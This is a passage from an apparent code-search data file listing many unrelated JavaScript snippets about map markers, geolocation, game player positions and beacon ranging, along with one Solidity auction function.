map,\n label:(++i).toString(), \n \n title: name\n });\n markerArray.push(marker);\n }","function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\n{\n if (playerId == -1)\n return true;\n\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\n return true;\n else\n return false;\n}","function emitBeaconUpdate(id) {\n var ship = ships.shipGet(id)\n var out = {};\n\n out[id] = ship.spawnPoint;\n\n io.sockets.emit('shipbeaconstat', out);\n}","function addSugar(name, x, y) {\n\tlocs.push([x, y]);\n\tnames.push(name);\n}","function getSpawnPosition(source) {\n var positions = getSamplePositions(source.room, source.pos, 5),\n closest;\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\n closest = source.pos.findClosestByPath(positions);\n return closest;\n}","function createBeacon() {\n\n // throws an error if the parameters are not valid\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\n\n return beaconRegion; \n}","function searchGameRoom(gamerooms,name){\n\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\n\t\tif(gamerooms[i].name === name){\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}","function findPlate(plate_name) {\n for(i = 0; i < ordered_plates.length; i++) {\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\n return ordered_plates[i];\n }\n }\n }","@wire(getRecord, { recordId: '$recordId', fields })\n loadBear({ error, data}){\n if(error){\n //Handle error\n } else if (data){\n //Get bear Data\n this.name = data.fields.Name.value;\n const Latitude = data.fields.Location__Latitude__s.value;\n const Longitude = data.fields.Location__Longitude__s.value;\n //Transformar bear data en map markers\n this.mapMarkers = [{\n location: {Latitude, Longitude},\n title: this.name,\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\n }];\n }\n }","function getSummonerName(){\n\n}","findClosest(mapItem) {\n let closestNames = [];\n\n this.state.mapTextItems.forEach(mapTextItem => {\n if (mapItem.regionId === mapTextItem.regionId) {\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\n closestNames.push({ text: mapTextItem.text, distance: distance });\n }\n });\n\n closestNames.sort(this.compare);\n return closestNames[0].text;\n }","if(snakes[1].loc.dist(food.loc) === 0){\n food.pickLoc();\n snakes[1].addSegment();\n\n}","function findVertex(name) {\n\t\tvar objects = alasql.databases[alasql.useid].objects;\n\t\tfor(var k in objects) {\n\t\t\tif(objects[k].name === name) {\n\t\t\t\treturn objects[k];\n\t\t\t}\n\t\t}\n\t\treturn undefined;\n\t}","map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\n { \n return { object_space_pos: \"positions\" }[ name ]; // Use a simple lookup table.\n }","function animatePoint(name) {\n for (let item in points){\n if (points[item].title == name) {\n points[item].setAnimation(google.maps.Animation.BOUNCE);\n showForsquareInfo(\n points[item].getPosition().lat(),\n points[item].getPosition().lng(),\n points[item].getTitle()\n );\n //Makes the marker bounce only once\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\n }\n }\n}","function place_player()\n{\n\tvar col;\n\tvar row;\n\t\n\tswitch(player_number)\n\t{\n\t\tcase 0:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 27;\n\t\t\t\trow = 19;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tif(is_two_player_game)\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 20;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcol = 29;\n\t\t\t\trow = 21;\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tcol = 29;\n\t\t\trow = 19;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tcol = 27;\n\t\t\trow = 21;\n\t\t\tbreak;\n\t}\n\t\n\tvar player_text = Crafty.e(\"2D, DOM, Text\")\n\t\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\n\t\t.textColor('#FFFFFF')\n\t\t.text(list_of_users[player_number]);\n\t\t\n\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\n}","function itemByName (name) {\n return bot.inventory.items().filter(item => item.name === name)[0]\n}","function findMarker(buffer, position) {\n var index;\n for (index = position; index < buffer.length; index++) {\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\n return index;\n }\n return -1;\n}","who(currentPlayer, channel){\n let map = this.maps[currentPlayer.position]\n let nearbyPlayers = new Array()\n this.players.forEach(player => {\n if(player !== currentPlayer && player.position === currentPlayer.position){\n nearbyPlayers.push(player)\n }\n })\n return nearbyPlayers\n }","function addmarkerforpeaks() {\n for (var i = 0; i < snowCaps.peaks.length; i++) {\n // Get the position from the location array.\n var position = snowCaps.peaks[i].position;\n var title = snowCaps.peaks[i].name;\n //console.log(title,position);\n // Create a marker per location, and put into markers array.\n var marker = new google.maps.Marker({\n position: position,\n title: title,\n map: map,\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\n animation: google.maps.Animation.DROP,\n });\n // Push the marker to our array of markers.\n markers.push(marker);\n }\n}","function getPosFinder(pos){\n var posFinder = balloonpositionsarray[0].find(function(element) {\n return element == pos;\n });\n\n return posFinder;\n }","function locationName () {\n place.className = 'current-location';\n document.getElementsByTagName('body')[0].appendChild(place);\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\n // check for errors and using previous manual location\n if (usingPrevious) {\n changeLink.innerText = 'change';\n changeLink.href = '#';\n changeLink.className = 'last-known';\n changeLink.addEventListener('click', function (e) {\n e.preventDefault();\n Tab.changeLocation();\n });\n place.innerHTML = loc.formatted_address +\n 'Using last known location ';\n place.appendChild(changeLink);\n // console.log(changeLink)\n // TODO: add change location here\n } else {\n place.innerHTML = loc.formatted_address;\n }\n }","function collectPlayer(name) {\n if (name === game.players[game.turn].name) {\n setDrawer(game);\n } \n else {\n setGuesser(name);\n }\n \n }","born(x, y) {\n let l = createVector(x, y);\n let dna = new DNA();\n let name = this.makeid(8);\n console.log(name);\n this.creatures.push(new Creature(l, dna, name));\n }","try_to_match_local(data_received){\n\t\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\n\t\tsend_msg(data)\n\t}","function CurrentLocation() {\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \"Current Location\");\n }","function getKey_(position) \n{\n return \"key-\"+ OsmMaps.position.coords.latitude.toFixed(4) + \"-\" + OsmMaps.position.coords.longitude.toFixed(4);\n}","function markerPosition(position)\n{\n\tvar id = $('#'+position);\n\tif(turno)\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoA;\n\t\t\tnumJugadas1++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov1').text(numJugadas1);\n\t\t\tturno=false;\n\t\t\tif(isChampion(llenoA))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador1\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('numJugadas', numJugadas1);\n\n\t \t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador1\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(isFull(position))\n\t\t{\n\t\t\tboard[position]=llenoB;\n\t\t\tnumJugadas2++;\n\t\t\tid.find('i').remove();\n\t\t\tid.append('');\n\t\t\t$('#mov2').text(numJugadas2);\n\t\t\tturno=true;\n\t\t\tif(isChampion(llenoB))\n\t\t\t{\n\t\t\t\tlocalStorage.setItem('ganador',$(\"#jugador2\").val());\n\t\t\t\tlocalStorage.setItem('perdedor',$(\"#jugador1\").val());\n\n\t\t\t\tlocalStorage.setItem('numJugadas',numJugadas2);\n\t\t\t\tswal({\n \t\t\t\ttitle: \"¡Felicidades \"+$(\"#jugador2\").val()+\" Ganaste!\",\n \t\t\t\timageUrl: \"img/goods.png\"\n \t\t\t});\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\talert(\"Esta posicion ya esta llena\");\n\t\t}\n\n\t}\n}","function insertName1(){\n let playerSpan1 = $(`.Player1`)\n let playerInput1 = $(`input.button1`)\n \n playerInput1.on(`input`,function(){\n gameState.playerNames[0] = ($(this).val())\n playerSpan1.text(gameState.playerNames[0])\n return playerSpan1\n })\n}","function Start () {\n\tUpperLaser = GameObject.Find(\"MapScript\");\n\t//LowerLaser = GameObject.Find(\"MapScript02\");\n\tFlameThrower = GameObject.Find(\"FlameThrower\");\n\tBeam = GameObject.Find(\"MapScriptB\");\n\tTrapSpawn = GameObject.Find(\"TrapSpawn\");\n\t//Saw = GameObject.Find(\"ChainSaw\");\n}","openInfoWindow(marker, longName) {\n this.closeInfoWindow();\n this.state.infowindow.open(this.state.map, marker);\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\n this.setState({\n 'prevmarker': marker\n });\n this.state.infowindow.setContent('Loading Data...');\n this.state.map.setCenter(marker.getPosition());\n this.state.map.panBy(0, -150);\n if(longName.includes(\"Eric\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\n }\n if (longName.includes(\"Violet\"))\n {\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\n }\n else{\n this.getMarkerInfo(marker, longName);\n }\n }","function dropMarker(a, b, courtname){\n\tvar lat = a;\n\tvar lon = b;\n\tmyLatlng = new google.maps.LatLng(lat, lon);\n\tvar marker = new google.maps.Marker({\n\t\tposition: myLatlng,\n\t\tmap: map,\n\t\ttitle: courtname\n\t});\n\tmarker.setMap(map);\n}","function geocodeCords(positionObject) {\n var geocoder = new google.maps.Geocoder;\n posLat = positionObject.lat;\n posLng = positionObject.lng;\n cordsPos = posLat + \", \" + posLng;\n // cordsPos = positionObject;\n geocoder.geocode({'location': positionObject}, function (results, status) {\n if (status === 'OK') {\n if (results[1]) {\n namePos = (results[1].formatted_address);\n locationInput.value = namePos;\n addMarker(positionObject);\n } else {\n window.alert('No results found');\n }\n } else {\n window.alert('Geocoder failed due to: ' + status);\n }\n });\n }","function zControlBattleMapFollowGamer(position)\n{\n zObjectBattleMapLatLng[\"gamrLat\"] = position.coords.latitude;\n zObjectBattleMapLatLng[\"gamrLng\"] = position.coords.longitude;\n \n document.getElementById(\"map-info-crnt\").innerHTML = \"CRNT_LAT :{\" + zObjectBattleMapLatLng[\"crntLat\"] + \"}:CRNT_LNG :{\" + zObjectBattleMapLatLng[\"crntLng\"] + \"}:\";\n document.getElementById(\"map-info-gamr\").innerHTML = \"GAMR_LAT:{\" + zObjectBattleMapLatLng[\"gamrLat\"] + \"}:GAMR_LNG:{\" + zObjectBattleMapLatLng[\"gamrLng\"] + \"}:\";\n var date = new Date();\n document.getElementById(\"map-info-date\").innerHTML = \"DATE_TIME:{\" + date.getTime() + \"}:\";\n \n if(zObjectBattleMapLatLng[\"crntLat\"] != zObjectBattleMapLatLng[\"gamrLat\"]\n || zObjectBattleMapLatLng[\"crntLng\"] != zObjectBattleMapLatLng[\"gamrLng\"])\n {\n zObjectBattleMapGamer.setMap(null);\n \n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\"gamrLat\"], zObjectBattleMapLatLng[\"gamrLng\"]);\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\n \n zObjectBattleMapGamer = new google.maps.Marker(\n {\n position: zObjectBattleMapCenterLatLng,\n map: zObjectBattleMap,\n title: 'Hello World!'\n });\n \n zObjectBattleMapLatLng[\"crntLat\"] = zObjectBattleMapLatLng[\"gamrLat\"];\n zObjectBattleMapLatLng[\"crntLng\"] = zObjectBattleMapLatLng[\"gamrLng\"];\n }\n \n zControlHazardDistancetoGamer();\n \n zControlGamerMapStatus({\n\t code: 0, \n\t message: \"Good Map Status\",\n \ttimeofcoords: position.timestamp,\n \tmethod: \"zControlBattleMapFollowGamer\"\n\t});\n}","function updateName1OnDOM() {\n db.ref('Names/player1').once('value', function (snapshot) {\n name = snapshot.val();\n if (name !== null) {\n var a = $('').html(name).addClass('center-block');\n $('.player1-name').empty().append(a);\n }\n });\n }","function quickBooking(){\n var closest_restaurant;\n\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function(position) {\n user_position = {\n lat: position.coords.latitude,\n lng: position.coords.longitude\n };\n }, \n function() {\n handleLocationError(true, infoWindow, map.getCenter());\n });\n } else {\n\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n\n // looks up restaurant coordinates in database and puts them in coordinateLookups callback variable.\n coordinateLookup(function(coordinateLookups){\n\n // create object containing users coords for comparison\n var origin = new google.maps.LatLng(user_position.lat,user_position.lng);\n\n // creates marker for each address in list of restaurant coordinates(coordinateLookups)\n // coordinateLookups also contains restaurant name\n coordinateLookups.forEach(function(lookup,element){\n\n // create object containing restaurantscoordinates for comparison\n var restaurant_location = new google.maps.LatLng(lookup.Longitude, lookup.Latitude);\n\n // if closest rstaurant to unser update closestRestaurant\n if (closestRestaurant(restaurant_location, origin)) {\n\n // updates the vueInstance variable of closestRestaurant\n vueInstance.closestRestaurant = lookup.Name;\n }\n }); \n\t\t \n\t // add booking to database (fuct. from entiresite.js)\n\t makeBooking('Quick');\n });\n }","spawnPlayer() {\n return this._getLocationInArea('player_spawn')\n }","function bmap(name,latt,long){\r\n if ((typeof latt==='undefined') || (typeof long==='undefined')) {return name;}\r\n return my_href(\"http://api.map.baidu.com/marker?location=\"+latt.toString()+\"%2C\"+long.toString()+\"&output=html&coord_type=gcj02&title=\"+name,name,\"bmap\");\r\n }","function placeBid(string name, uint bid) payable {\n\n if (now-createdAt < duration){\n\n if (bid => highBidder){ // Consider the case when there is no bid ???\n highBidder = msg.sender; // ??\n // push bidder where bidder[i].bidder (address)\n bidders.push(msg.sender);\n HighBidChanged(msg.sender, name, bid);\n // biddersMapping[msg.sender].name = name;\n // biddersMapping[msg.sender].bidder = msg.sender; // address\n // biddersMapping[msg.sender].bid = bid;\n // biddersMapping[msg.sender].claimedEthers = false; // at the end of the bidding\n }\n } else {\n BidFailed (msg.value, name, bid )\n throw;\n }\n\n }","function getAsteroidTarget(spawnLocation) {\n var closest = [0,0,0];\n var dist = 100;\n var temp = 0;\n for (t in station_centers) {\n temp = vec3.length(vec3.subtract(vec3.create(), vec3.fromValues(station_centers[t][0], station_centers[t][1],\n station_centers[t][2]), vec3.fromValues(spawnLocation[0], spawnLocation[1], spawnLocation[2])));\n if (temp < dist) {\n dist = temp;\n closest = station_centers[t];\n }\n }\n return closest;\n}","get boatName() { \n return getFieldValue(this.wiredRecord.data, BOAT_NAME_FIELD);\n }","function makeMarker(position, icon, name) {\n new google.maps.Marker({\n position: position,\n map: gmap,\n icon: icon,\n title: name\n });\n}","function findOrigin(element) {\n if (element === startStation){\n return element\n }\n}","getAddressField(telegram) {\n let values = telegram.getValues();\n\n return values.has('BLOCK1_A') ?\n values.get('BLOCK1_A') : null;\n }","function getPosition(letra){\n let position = abd.indexOf(letra);\n return position;\n}","function findForChar(val)\n{\n\n \n listTitle=[];\n listCoord=[];\n let flag = false;\n for(let x=0; x-1)\n {\n listTitle[x]=locationTitle[x]; \n listCoord[x]=locationCoord[x];\n flag=true; \n }\n }\n \n}","function getMockup(e, positionInfo) {\n return { \n index: e.index,\n name: e.label, \n x: rounder(e.x),\n y: rounder(e.y),\n color: e.color,\n shape: e.shape,\n size: rounder(e.size),\n realSize: rounder(e.realSize),\n facing: rounder(e.facing),\n layer: e.layer,\n statnames: e.settings.skillNames,\n position: positionInfo,\n guns: e.guns.map(function(gun) {\n return {\n offset: rounder(gun.offset),\n direction: rounder(gun.direction),\n length: rounder(gun.length),\n width: rounder(gun.width),\n aspect: rounder(gun.aspect),\n angle: rounder(gun.angle),\n };\n }),\n turrets: e.turrets.map(function(t) { \n let out = getMockup(t, {});\n out.sizeFactor = rounder(t.bound.size);\n out.offset = rounder(t.bound.offset);\n out.direction = rounder(t.bound.direction);\n out.layer = rounder(t.bound.layer);\n out.angle = rounder(t.bound.angle);\n return out;\n }),\n };\n }","findTypedLetterByPosition(position) {\n let result = this.typedLetters.find(typedLetter => {\n return typedLetter.position.x === position.x && typedLetter.position.y === position.y;\n });\n\n if (typeof result === 'undefined') {\n result = null;\n }\n\n return result;\n }","function insertMarkerToDB(location, name) {\n $.ajax({\n type: 'GET',\n url: '/MapPoint/create.json',\n data: {\n latitude: location.lat,\n longitude: location.lng,\n name: name\n },\n success: function(data) {\n //console.log('RESULT: ' + JSON.stringify(data));\n }\n });\n }","function getParticipantObjByName(match, name) {\n var participants = match['participants'];\n var pids = match['participantIdentities'];\n var pid = -1;\n for(i = 0; i < pids.length; i++) {\n if(pids[i]['player']['summonerName'] == name) {\n pid = pids[i]['participantId'];\n break;\n }\n }\n return participants[pid-1];\n}","function createMarker(r){\n self.showDiv(true);\n var position, lat, lng;\n lat = parseFloat(r.location.latitude);\n lng = parseFloat(r.location.longitude);\n position = new google.maps.LatLng(lat, lng);\n /*if(placeBounds.contains(position))\n {*/\n var marker = new google.maps.Marker({\n map: map,\n position: position,\n title: r.name,\n animation: google.maps.Animation.DROP,\n });\n bounds.extend(marker.getPosition());\n\n\n var contentString = '' +\n '
' +\n '' + r.name + '
' +\n '' + r.location.address + '
' +\n 'Average cost for two: $' +\n r.average_cost_for_two + '
' +\n '' +\n '' + 'Menu Url';\n var address = r.location.address;\n\n var newMarker = {marker:marker, content:contentString};\n\n // Create an onclick event to open an infowindow at each marker.\n marker.addListener('click', function() {\n hideAnimation();\n marker.setAnimation(google.maps.Animation.BOUNCE);\n populateInfoWindow(this, largeInfowindow, contentString);\n });\n return newMarker;\n //}\n } // end of createMarker","function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\n{\n model.player1.name=value;\n var index = model.winners.find(winners => winners.name == value)\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\n}","function onLocationFound(location){\n\n\t// Update the model with the coordinate pair for use later.\n\tapp.position = location;\n\n\t// If successful, find all nearby brunch locations at those coordinates.\n findNearbyBrunchLocations(location.coords);\n\n}"],"string":"[\n \"function getNewdidFromPos(position) {\\n\\t//flag ( \\\"getNewdidFromPos():: Started! Called for position: \\\" + position );\\n\\t//a=GM_getValue(myacc())\\n\\tvar allVillagePos = GM_getValue(myacc() + \\\"_allVillagePos2\\\").split(\\\",\\\");\\n\\t//flag ( \\\"getNewdidFromPos: allVillagePos=\\\"+allVillagePos+\\\";\\\");\\n\\tfor (var i = 0; i < allVillagePos.length; i++) {\\n\\t\\tvar tt = allVillagePos[i].split(\\\":\\\");\\n\\t\\tif ( tt[1] == position) {\\n\\t\\t\\treturn tt[0];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\treturn null;\\n}\",\n \"function findBeacons() {\\n\\tvar room = \\\"\\\";\\n\\t/*[] values;\\n\\tfor(var i=0;i>10;i++) {*/\\n\\t\\tBeacon.rangeForBeacons(\\\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\\\")\\n\\t\\t.then(function(beacons_found) {\\n\\t\\t // $(\\\"#beacon-list\\\").empty();\\n\\t\\t var maxRSSI = 100;\\n\\t\\t for(beaconIndex in beacons_found) {\\n\\t\\t var beacon = beacons_found[beaconIndex]; \\n\\t\\t /* var beaconDiv = $(\\\"\\\").html(\\\"Major: \\\" + beacon.major + \\n\\t\\t \\\"; Minor: \\\" + beacon.minor + \\n\\t\\t \\\"; RSSI: \\\" + (beacon.rssi*-1));\\n\\t\\t\\n\\t\\t $(\\\"#beacon-list\\\").append(beaconDiv);*/\\n\\t\\t if(beacon.rssi*-1 < maxRSSI) {\\n\\t\\t \\t room = getRoomName(beacon.minor);\\n\\t\\t \\t maxRSSI = beacon.rssi*-1;\\n\\t\\t }\\n\\t\\t }\\n\\t\\t $(\\\"#myLocation\\\").text(/*\\\"Ole Johan Dahls Hus\\\" + */room);\\n\\t\\t if(room == \\\"\\\") {\\n\\t\\t\\t setOffline();\\n\\t\\t }\\n\\t\\t newLocation(room);\\n\\t\\t})\\n\\t\\t.fail(function() {\\n\\t\\t alert(\\\"failed serching for beacons!\\\");\\n\\t\\t setOffline();\\n\\t\\t});\\n\\t//}\\n}\",\n \"function searchObject(type){\\n\\tvar target;\\n console.log(\\\"123\\\");\\n\\tif(type==\\\"beacon\\\"){\\n\\t\\t target=beaconMap[document.getElementById('beaconSearch').value];\\n\\t}else{\\n\\t\\t target=reporterMap[document.getElementById('reporterSearch').value];\\n console.log(target);\\n\\t}\\n\\t toggleBounce(target.marker);\\n map.panTo(target.getPosi(),3000);\\n if(map.getZoom()<17){\\n\\t map.setZoom(17);\\n\\t}\\n var date = new Date(target.time*1000);\\n\\t\\n document.getElementById(\\\"beaconInfo\\\").innerHTML=\\\"Loggy: \\\"+target.mac+\\\"
\\\"+\\\"Latitude: \\\"+target.lat+\\\"
\\\"+\\\"Longitude: \\\"+target.lng+\\\"
Last Update: \\\"+date.getFullYear()+\\\"-\\\"+(date.getMonth()+1)+\\\"-\\\"+date.getDate()+\\\" \\\"+date.getHours()+\\\":\\\"+date.getMinutes()+\\\":\\\"+date.getSeconds()+\\\"
\\\";\\n \\n}\",\n \"function locate_iBeacons() {\\n kony.print(\\\"--Start locate_iBeacons--\\\");\\n if (beaconManager === null) {\\n kony.print(\\\"--creating beaconManager--\\\");\\n beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback);\\n kony.print(\\\"--beaconManager = new com.kony.BeaconManager(monitoringCallback, rangingCallback, errorCallback)--\\\");\\n beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);\\n kony.print(\\\"--beaconManager.setMonitoringStartedForRegionCallback(monitoringStartedForRegionCallback);--\\\");\\n beaconManager.setAuthorizationStatusChangedCallback(authorizationStatusChangedCallback);\\n }\\n if (beaconManager.authorizationStatus() != \\\"BeaconManagerAuthorizationStatusAuthorized\\\") {\\n kony.print(\\\"Unathorized to use location services\\\");\\n }\\n if (!beaconManager.isMonitoringAvailableForBeaconRegions()) {\\n kony.print(\\\"Monitoring not available\\\");\\n return;\\n }\\n if (!beaconManager.isRangingAvailableForBeaconRegions()) {\\n kony.print(\\\"Ranging not available\\\");\\n return;\\n }\\n var proximityUUID = \\\"CAD6ACBA-9D1C-4772-90AA-0FEEF6868D30\\\";\\n var identifier = \\\"com.kone.LatestKMSDemo\\\"\\n var beaconRegion = new com.kony.BeaconRegion(proximityUUID, null, null, identifier);\\n beaconRegion.setNotifyEntryStateOnDisplay(true);\\n beaconManager.startMonitoringBeaconRegion(beaconRegion);\\n}\",\n \"findFriendIdByName( nameToSearch ) {\\n let friendId = this.ItemNotFound;\\n let list = this.state[this.townName];\\n \\n for( let indx=0; indx {\\n if(player_info != undefined && player_info.team != undefined && player_info.position != undefined)\\n {\\n const { player_id, fullname, image_path, position_id } = player_info;\\n if(fullname.includes(player_name))\\n {\\n if( player_info.position.data.name == position_name)\\n {\\n const { name } = player_info.team.data;\\n if(player_info.team.data.league != undefined)\\n {\\n const {id} = player_info.team.data.league.data;\\n if(id == 271) \\n {\\n return {\\n id: player_id,\\n name: fullname,\\n image: image_path,\\n position: position_id,\\n position_name: player_info.position.data.name,\\n team_name: name, \\n };\\n }\\n }\\n }\\n } \\n }\\n }); \\n }\",\n \"searchByName( nameToSearch ) {\\n let itemId = this.ItemNotFound;\\n let list = this.state[this.townName];\\n let nameToSearchLowerCase = nameToSearch.toLocaleLowerCase();\\n let nameToSearchSplit = nameToSearchLowerCase.split(' ');\\n let name0ToSearch = nameToSearchSplit[0];\\n let name1ToSearch = nameToSearchSplit[1];\\n \\n \\n for( let indx=0; indx npc.id == name);\\r\\n\\r\\n\\tif (npc.length > 0) {\\r\\n\\t\\treturn npc[0];\\r\\n\\t}\\r\\n\\r\\n\\treturn null;\\r\\n}\",\n \"function searchByName(name) {\\n var testName = name.toLowerCase();\\n if (testName===\\\"bar\\\"||\\\"bars\\\"||\\\"restaurant\\\"||\\\"restaurants\\\"||\\\"food\\\"||\\\"beer\\\") {\\n var request = {\\n location: pos,\\n radius: '500',\\n type: ['bar', 'restaurant']\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.nearbySearch(request, callback);\\n } else {\\n var request = {\\n query: name,\\n fields: ['photos', 'formatted_address', 'name', 'rating', 'opening_hours', 'geometry'],\\n locationBias: {radius: 50, center: pos}\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.findPlaceFromQuery(request, callback);\\n };\\n}\",\n \"function get_npc(name) {\\n var npc = parent.G.maps[character.map].npcs.filter(npc => npc.id == name);\\n\\n if (npc.length > 0) {\\n return npc[0];\\n }\\n\\n return null;\\n}\",\n \"function find_closest_asset_address(player_enter_x, player_enter_z) {\\n var closest_distance = 9999999;\\n\\n var closet_coor = null;\\n\\n // for each coordinate our coordinate map\\n for (var i = 0; i < coordinate_map.length; i++) {\\n var coor = coordinate_map[i]\\n\\n // determine the distance from that coordinate to the player enter position\\n var distance = find_distance(player_enter_x, player_enter_z, coor.x, coor.z)\\n\\n // if this coordinate is closer set it as our closest\\n if (distance < closest_distance) {\\n closest_distance = distance\\n closet_coor = coor;\\n }\\n }\\n\\n // return the address of the closest coordinate\\n if (closet_coor != null) {\\n return closet_coor.address\\n } else {\\n return \\\"\\\";\\n }\\n}\",\n \"function getBpFromName(name) {\\n\\tconsole.log(storyCardFaceUp);\\n\\tconsole.log(storyCardFaceUp.foe);\\n\\tconsole.log(name);\\n\\tfor (var i = 0; i < cardTypeList.length; i++) {\\n\\t\\t// console.log(cardTypeList[i]);\\n\\t\\t// console.log(name);\\n\\t\\tif (cardTypeList[i].name === name)\\n\\t\\t\\tif (cardTypeList[i].hasOwnProperty('bp')) {\\n\\t\\t\\t if(storyCardFaceUp.foe === name) return cardTypeList[i].bonusbp;\\n\\t\\t\\t return cardTypeList[i].bp;\\n\\t\\t\\t}\\n\\t}\\n\\treturn \\\"card not found\\\";\\n}\",\n \"function rangingCallback(beaconRegion, beacons) {\\n kony.print(\\\"Beacons found for BeaconRegion: \\\", kony.type(beaconRegion), \\\" \\\", beaconRegion, \\\" Beacons: \\\", beacons);\\n var beaconLabel = \\\"No beacons\\\";\\n var proximityLabel = \\\"...\\\";\\n if (beacons.length > 0) {\\n beacon = beacons[0];\\n proximityUUIDString = beacon.getProximityUUIDString();\\n major = beacon.getMajor();\\n minor = beacon.getMinor();\\n beaconLabel = beacon.getProximityUUIDString() + \\\" \\\" + beacon.getMajor() + \\\" \\\" + beacon.getMinor();\\n proximityLabel = beacon.getProximity();\\n }\\n if ((prevProximityUUIDString != proximityUUIDString) && (ksid != null)) {\\n beaconUpdate();\\n }\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n // console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"addMarker(level, openings, itemObj, startPosX = -1, startPosY = -1) {\\n let startPos = startPosX + startPosY;\\n if (startPos >= 0 && openings.indexOf(startPos) === -1 && startPos < this.maze.length) {\\n level[startPos] = itemObj;\\n }\\n else {\\n let randomCell = Math.floor(Math.random() * openings.length);\\n let addMarkerPosn = openings.splice(randomCell, 1)[0];\\n level[addMarkerPosn] = itemObj;\\n }\\n }\",\n \"function updateMap(time){\\n // console.log(\\\"----------------------------\\\");\\n if(showBeacon){\\n var position1 = JSON.parse(httpGet(beaconPosiSource)); //two dimensional JSON array\\n // console.log(\\\"----------------------------\\\");\\n var position = new ibeaconBeanGroup(position1).getAllBestLocations();\\n\\n // console.log(position1);\\n \\n // console.log(position);\\n\\n\\t\\tfor(var i=0;i {console.error(err);})\\n }else{\\n let position = this.maps[currentPlayer.position]\\n if(position){\\n let availableInteractions =''\\n if(position.interactions){\\n availableInteractions = this.utils.generateInteractionsListString(position.interactions.filter(interaction => {\\n return !currentPlayer.interactionsDone.includes(interaction.name.name)\\n }))\\n }\\n let itemList =''\\n if(this.maps[currentPlayer.position].userItems.length > 0){\\n itemList = 'Other items on the ground:\\\\n'\\n this.maps[currentPlayer.position].userItems.forEach(currentItem => {\\n itemList+=`${currentItem.name.name}\\\\n`\\n })\\n }\\n let nearbyPlayers = this.utils.generateWhoString(this.who(currentPlayer, channel))\\n channel.send(position.description+'\\\\n'+availableInteractions+'\\\\n'+nearbyPlayers+'\\\\n'+itemList).catch(err => {console.error(err);})\\n }else{\\n console.error('Current position '+currentPlayer.position);\\n console.error(this.maps);\\n }\\n\\n }\\n //TODO: Add descriptions for the things that need a pass and the pass is owned by the player\\n }\",\n \"map_attribute_name_to_buffer_name( name ) \\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function addSingleMaker(){\\n\\tmarker = new google.maps.Marker({\\n\\t\\tposition:{\\n\\t\\t\\tlat: -41.295005,\\n\\t\\t\\tlng: 